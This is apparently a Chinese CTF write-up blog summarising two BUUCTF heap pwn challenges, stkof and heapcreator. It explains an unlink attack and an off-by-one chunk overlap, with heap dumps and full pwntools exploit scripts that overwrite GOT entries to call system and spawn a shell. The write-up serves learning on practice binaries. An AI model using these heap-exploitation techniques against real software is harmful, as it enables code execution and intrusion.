buuctf中的一些pwn题总结(不断更新)
前言:
本文记录一些buuctf中不是很典型,但是仍然值得记录的pwn题,以便于查看。
0x00:stkof——unlink
查看保护
查看IDA伪代码
增
自定义size,使用malloc分配。
删
free之后直接置空,难以利用。
改
重点来到改中,这里可以随意输入大小,然后根据输入的大小来为堆块中填入数据。这样就造成了堆溢出漏洞。
解题思路
由于此题存在堆溢出漏洞,我们又掌控着heap地址的存在位置,这样我们很容易就想到unlink漏洞来控制堆块。
由于程序本身的原因,我们先malloc一个堆块,这样就可以把程序本身需要申请的输入输出流堆块给申请出来(看了ctfwiki得知????)
解决掉这麻烦后,我们就直接来用unlink漏洞来把堆块劫持到heap地址存在的位置0x602140处。
new(0x100)
new(0x30)
new(0x80)
payload = p64(0) + p64(0x21) + p64(heap + 16 - 0x18) + p64(heap + 16 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30) + p64(0x90)
read(2, len(payload), payload)
delete(3)
这是一组典型的unlink利用代码,可以把堆块劫持到heap地址存在 - 8处。
这样我们就把chunk2劫持到了heap地址存在处附近。
达到这一步,我们就很容易的可以直接把got表中的信息泄露出来,甚至可以随意修改他们。
payload = 'a' * 0x8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
read(2, len(payload), payload)
把这些got写到这里后,我们就可以对他们进行操作了。
由于此题没有泄露的函数,我们只能通过修改free_got为puts_plt,这样删函数就变成了查函数了,我们delete(1)就会泄露puts_got的真正地址。
接下来就可以直接修改atoi_got为system函数基址了。
完整exp:
#! /usr/bin/env python
from pwn import *
p = process('./stkof')
#p = remote('node3.buuoj.cn', 27616)
elf = ELF('./stkof')
libc = ELF('./libc.so.6')
heap = 0x602140
def new(size):
p.sendline('1')
p.sendline(str(size))
def read(index, size, content):
p.sendline('2')
p.sendline(str(index))
p.sendline(str(size))
p.sendline(str(content))
def delete(index):
p.sendline('3')
p.sendline(str(index))
new(0x100)
new(0x30)
new(0x80)
payload = p64(0) + p64(0x21) + p64(heap + 16 - 0x18) + p64(heap + 16 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30, 'a')
payload += p64(0x30) + p64(0x90)
read(2, len(payload), payload)
delete(3)
p.recvuntil('OK\n')
payload = 'a' * 0x8 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(elf.got['atoi'])
read(2, len(payload), payload)
gdb.attach(p)
pause()
read(0, 0x8, p64(elf.plt['puts']))
delete(1)
puts = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(puts)
libc_base = puts - libc.sym['puts']
system = libc.sym['system'] + libc_base
binsh = libc.search('/bin/sh').next() + libc_base
read(2, 0x8, p64(system))
#p.recvuntil('OK\n')
p.sendline('/bin/sh\x00')
p.interactive()
0x01:hitcontraining_heapcreator——overlap
查看保护
IDA查看伪代码
增
查看伪代码后发现,程序首先会malloc一个0x21的堆块,用来存储堆块的地址,然后我们就可以自己输入任意大小的堆块,然后输入数据。
在本地调试中,申请一块0x21大小,截取到一些数据:
0x603000: 0x0000000000000000 0x0000000000000021
0x603010: 0x0000000000000014 0x0000000000603030
0x603020: 0x0000000000000000 0x0000000000000021
0x603030: 0x000000000a616161 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000020fc1
从数据来看,我们发现的确是我们想得那样。
删
删除函数写的很好,很难进行利用。
改
改函数需要我们输入一个index,然后对其进行修改,我们发现,在改函数中,我们可以多输入一个字节。
这样我们就可以利用off by one。
查
输入index进行查询,可以用来泄露一些东西。
解题思路
我们发现可以利用off by one来进行overlap。
我们首先申请两个0x21大小的堆块,然后对进行chunk0进行修改。
new(0x18, 'aaa')
new(0x10, 'bbb')
payload = '/bin/sh\x00' + 'a' * 0x10 + '\x41'
edit(0, payload)
我们通过本地调试,截取到下面数据:
0x0000000000000000 0x0000000000000021
0x1ed8010: 0x0000000000000018 0x0000000001ed8030
0x1ed8020: 0x0000000000000000 0x0000000000000021
0x1ed8030: 0x0068732f6e69622f 0x6161616161616161
0x1ed8040: 0x6161616161616161 0x0000000000000041
0x1ed8050: 0x0000000000000010 0x0000000001ed8070
0x1ed8060: 0x0000000000000000 0x0000000000000021
0x1ed8070: 0x0000000000626262 0x0000000000000000
0x1ed8080: 0x0000000000000000 0x0000000000020f81
我们把保存堆地址的堆的size改为了0x41,接下来我们就直接删除这一堆块。
老pwn????都知道,我们删除的堆块并不会消失不见,并且当我们再次申请一块相同大小的堆块时,堆块就会申请到这里来,这正是我们要利用的点。
我们再次申请:
delete(1)
new(0x30, 'ccc')
我们本地调试,截取到一些数据:
0x10fe000: 0x0000000000000000 0x0000000000000021
0x10fe010: 0x0000000000000018 0x00000000010fe030
0x10fe020: 0x0000000000000000 0x0000000000000021
0x10fe030: 0x0068732f6e69622f 0x6161616161616161
0x10fe040: 0x6161616161616161 0x0000000000000041
0x10fe050: 0x0000000000636363 0x00000000010fe070
0x10fe060: 0x0000000000000000 0x0000000000000021
0x10fe070: 0x0000000000000030 0x00000000010fe050
0x10fe080: 0x0000000000000000 0x0000000000020f81
我们发现我们可以写的堆居然到存地址堆的前面,其实这也是利用了堆分配机制。
有了这样的堆块,我们就可以直接改写堆指针。
这样我们就可以先泄露数据,再改写got表。
完整exp
#! /usr/bin/env python
from pwn import *
p = process('./heapcreator')
#p = remote('node3.buuoj.cn', 27707)
elf = ELF('./heapcreator')
libc = ELF('./libc.so.6')
def new(size, content):
p.sendlineafter('Your choice :', '1')
p.sendlineafter('Size of Heap : ', str(size))
p.sendafter('Content of heap:', content)
def edit(index, content):
p.sendlineafter('Your choice :', '2')
p.sendlineafter('Index :', str(index))
p.sendafter('Content of heap : ', content)
def show(index):
p.sendlineafter('Your choice :', '3')
p.sendlineafter('Index :', str(index))
def delete(index):
p.sendlineafter('Your choice :', '4')
p.sendlineafter('Index :', str(index))
new(0x18, 'aaa')
new(0x10, 'bbb')
payload = '/bin/sh\x00' + 'a' * 0x10 + '\x41'
edit(0, payload)
delete(1)
new(0x30, 'ccc')
payload = 'c' * 0x10 + p64(0) + p64(0x21) + p64(0x30) + p64(elf.got['free'])
edit(1, payload)
show(1)
free = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(free)
libc_base = free - libc.sym['free']
system = libc_base + libc.sym['system']
edit(1, p64(system))
delete(0)
p.interactive()
未完待续。。。